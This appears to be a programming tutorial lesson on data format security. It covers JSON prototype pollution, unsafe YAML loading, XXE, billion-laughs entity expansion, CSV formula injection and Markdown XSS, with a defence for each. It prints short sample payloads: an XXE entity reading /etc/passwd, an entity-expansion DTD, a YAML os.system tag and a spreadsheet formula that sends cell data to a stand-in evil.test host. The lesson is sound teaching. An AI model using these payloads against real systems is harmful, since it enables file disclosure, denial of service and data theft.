Skip to content
Tutorials Center
My learning

Topics

Lesson 33 of 39 ยท Parsing, Security and Tooling

Data Format Security

Learn how data formats are attacked - prototype pollution, unsafe YAML loading, XXE and entity expansion, CSV formula injection, Markdown XSS, oversized input - and the defences that stop each one.

A parser is a door into your program: it takes bytes from somewhere you do not control and turns them into objects your code trusts. Attackers know that. Most format-related vulnerabilities are not exotic. They come from a few repeating ideas: the format has a feature nobody expected to be used (external entities, object tags, formulas), the input is bigger or deeper than assumed, or parsed data is merged or rendered without checking. This lesson walks through the classic attacks for each format in this course and the habits that prevent them. It builds on Writing a Tokenizer and Parser.

The examples here are defensive demonstrations that run harmlessly in a sandbox. Never test attacks against systems you do not own.

The golden rules

  1. Treat all parsed data as untrusted, even if it came from your own database or a partner.
  2. Parse with the safest mode of the library (safe YAML loading, XML with entities and DTDs disabled).
  3. Limit size, depth, count and time before and during parsing.
  4. Validate the result against a schema; reject unknown shapes (JSON Schema is the standard tool for JSON and YAML).
  5. Escape on output for the context where data lands: HTML, SQL, shell, CSV.
  6. Keep libraries updated: many parser bugs have CVEs.

JSON: prototype pollution and big numbers

JSON.parse itself does not execute code, which makes JSON the safest of the common formats. The dangers appear after parsing.

Prototype pollution. In JavaScript every object inherits from Object.prototype. If code recursively merges untrusted data into an object and does not skip the key __proto__ (or constructor.prototype), an attacker can add properties to the prototype of all objects. Later code that checks if (user.isAdmin) may then see a polluted true.

Node.js Prototype pollution through an unsafe merge

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Defences: skip dangerous keys when merging (as above), build lookup tables with Object.create(null) or Map, use Object.hasOwn() instead of in, and validate input against a schema that forbids unknown properties. Node's --disable-proto=delete flag removes __proto__ entirely.

Large numbers and precision. JSON numbers have no size limit, but JavaScript parses them as 64-bit floats. An id like 9007199254740993 silently changes to 9007199254740992. Send big ids as strings. Also note that a parser may accept 1e999 and return Infinity.

Duplicate keys. {"role": "user", "role": "admin"} is accepted by JSON.parse (last wins), but other parsers keep the first. When two systems disagree, an attacker can slip a value past a validator that reads the first while the application uses the last. Reject duplicates where it matters.

YAML: code execution through tags

YAML is the most dangerous format to load carelessly. Several libraries historically supported tags that instantiate arbitrary classes: !!python/object/apply:os.system ["..."] in PyYAML's unsafe loader, or !ruby/object in Ruby's Psych before safe defaults. Loading a hostile file could run commands on the server. Real incidents have hit Ruby on Rails, Python tools and Java libraries (SnakeYAML).

Defences: use the safe function (yaml.safe_load in Python, YAML.safe_load in Ruby, SafeConstructor in Java, js-yaml's default schema), never load YAML from untrusted sources with a full or unsafe loader, and prefer JSON when you only need data. Also beware of alias bombs (below).

XML: external entities and entity expansion

XML has features that read like attacks waiting to happen. A DTD can define entities: named text replacements, including entities that load an external file or URL.

XML
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<note>&secret;</note>

A parser with external entities enabled replaces &secret; with the file's contents. This is XXE (XML External Entity injection). It can read local files, call internal URLs (server-side request forgery) or hang the server. It tops the OWASP lists for XML processing.

The other classic is the billion laughs (entity expansion) attack: nested entities each expand to ten of the previous level, so a few hundred bytes of text expand to gigabytes of memory.

XML
<!DOCTYPE lolz [
  <!ENTITY a "lol">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!-- ... and so on up to level 9 -->
]>
<lolz>&c;</lolz>
Node.js How fast entity expansion grows (arithmetic only)

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Nine levels in a file of about a kilobyte reach 3 gigabytes. The same shape threatens YAML aliases (an alias to a list that contains aliases...) and compression ("zip bombs", ZIP and gzip files that expand a million times).

XML defences: disable DTD processing entirely, or at least external entities and entity expansion; use the library's secure-processing mode (XMLConstants.FEATURE_SECURE_PROCESSING in Java, defusedxml in Python, libxml_disable_entity_loader equivalents in PHP); cap document size; and for XSLT disable the document() function and extension functions for untrusted stylesheets. See the XML chapter for the format itself.

CSV: formula injection

When a spreadsheet opens a CSV file, a cell starting with =, +, - or @ is interpreted as a formula. A user who registers with the name =HYPERLINK("http://evil.test?"&A1,"click") can attack the administrator who exports the user list and opens it in Excel. The CSV is perfectly valid; the danger is in the consumer.

Node.js Neutralising spreadsheet formulas in exported cells

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

The trade-off: the leading apostrophe changes legitimate values like -5 degrees. For machine-to-machine exports, do not add it; for files a human will open in a spreadsheet, do. See CSV Parsing and Its Pitfalls.

Markdown and HTML: cross-site scripting

Markdown renders to HTML, and HTML can carry script. If you render user-written Markdown, you must treat the output as untrusted: disable raw HTML in the renderer, or sanitise the result with an allow-list sanitiser (DOMPurify in the browser, sanitize-html, bleach, HTMLPurifier). Also check link schemes (javascript:), image sources, and attributes such as onerror. The converter in Writing a Markdown-to-HTML Converter shows the minimal protections: escape first, allow only safe URL schemes.

Resource limits

Every parser needs budgets. Hostile or accidental input can be:

Problem Limit
Huge document maximum body size (reject at the HTTP layer before parsing)
Deep nesting maximum depth (stack overflow)
Very long strings or numbers maximum token length
Millions of keys maximum count (hash collisions, memory)
Slow parsing (regex backtracking) time limit; avoid catastrophic regexes
Compressed input maximum decompressed size
Node.js A defensive JSON parsing wrapper

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with node:readline or process.stdin), it gets the next line from this box.

Note the order: the byte-size check happens before parsing, because rejecting a 2 MB document is cheaper than parsing it. Depth and count are checked after; for stricter protection, put the limits inside the parser itself, as the depth check in the previous lesson does.

Defence in depth

flowchart LR
  A["untrusted bytes"] --> B["size + rate limits"]
  B --> C["safe parser mode"]
  C --> D["schema validation"]
  D --> E["business rules"]
  E --> F["escape for output context"]

No single layer is enough; each stops a different class of attack.

Check your understanding

Quick check ยท 5 questions

of 5 answered You scored / 5 ยท perfect!

  1. 1. What is prototype pollution?

    If a merge copies a proto key, every object inherits the attacker's properties.
  2. 2. Which is the safe way to load YAML from an untrusted source?

    Safe loaders ignore tags that would instantiate arbitrary classes, which blocks code execution.
  3. 3. What does XXE let an attacker do?

    External entities are resolved by the parser, so a crafted DOCTYPE can pull in files or fetch URLs from inside your network.
  4. 4. How can a CSV file harm someone who opens it in a spreadsheet?

    Spreadsheets treat such cells as formulas, which can leak data or open links. Prefix risky cells with an apostrophe.
  5. 5. Why check the input size before parsing?

    Limits applied early protect memory and CPU.

Summary

  • Treat parsed data as untrusted; use safe parser modes, limits, schema validation and output escaping together.
  • JSON risks: prototype pollution in merges, large-number precision, duplicate keys.
  • YAML risk: unsafe loaders instantiating objects; use safe load only.
  • XML risks: XXE and entity expansion; disable DTDs and external entities.
  • CSV risk: formula injection; Markdown risk: script in rendered HTML.
  • Always cap size, depth, key count and time.

Next: Choosing a Format and Converting Between Them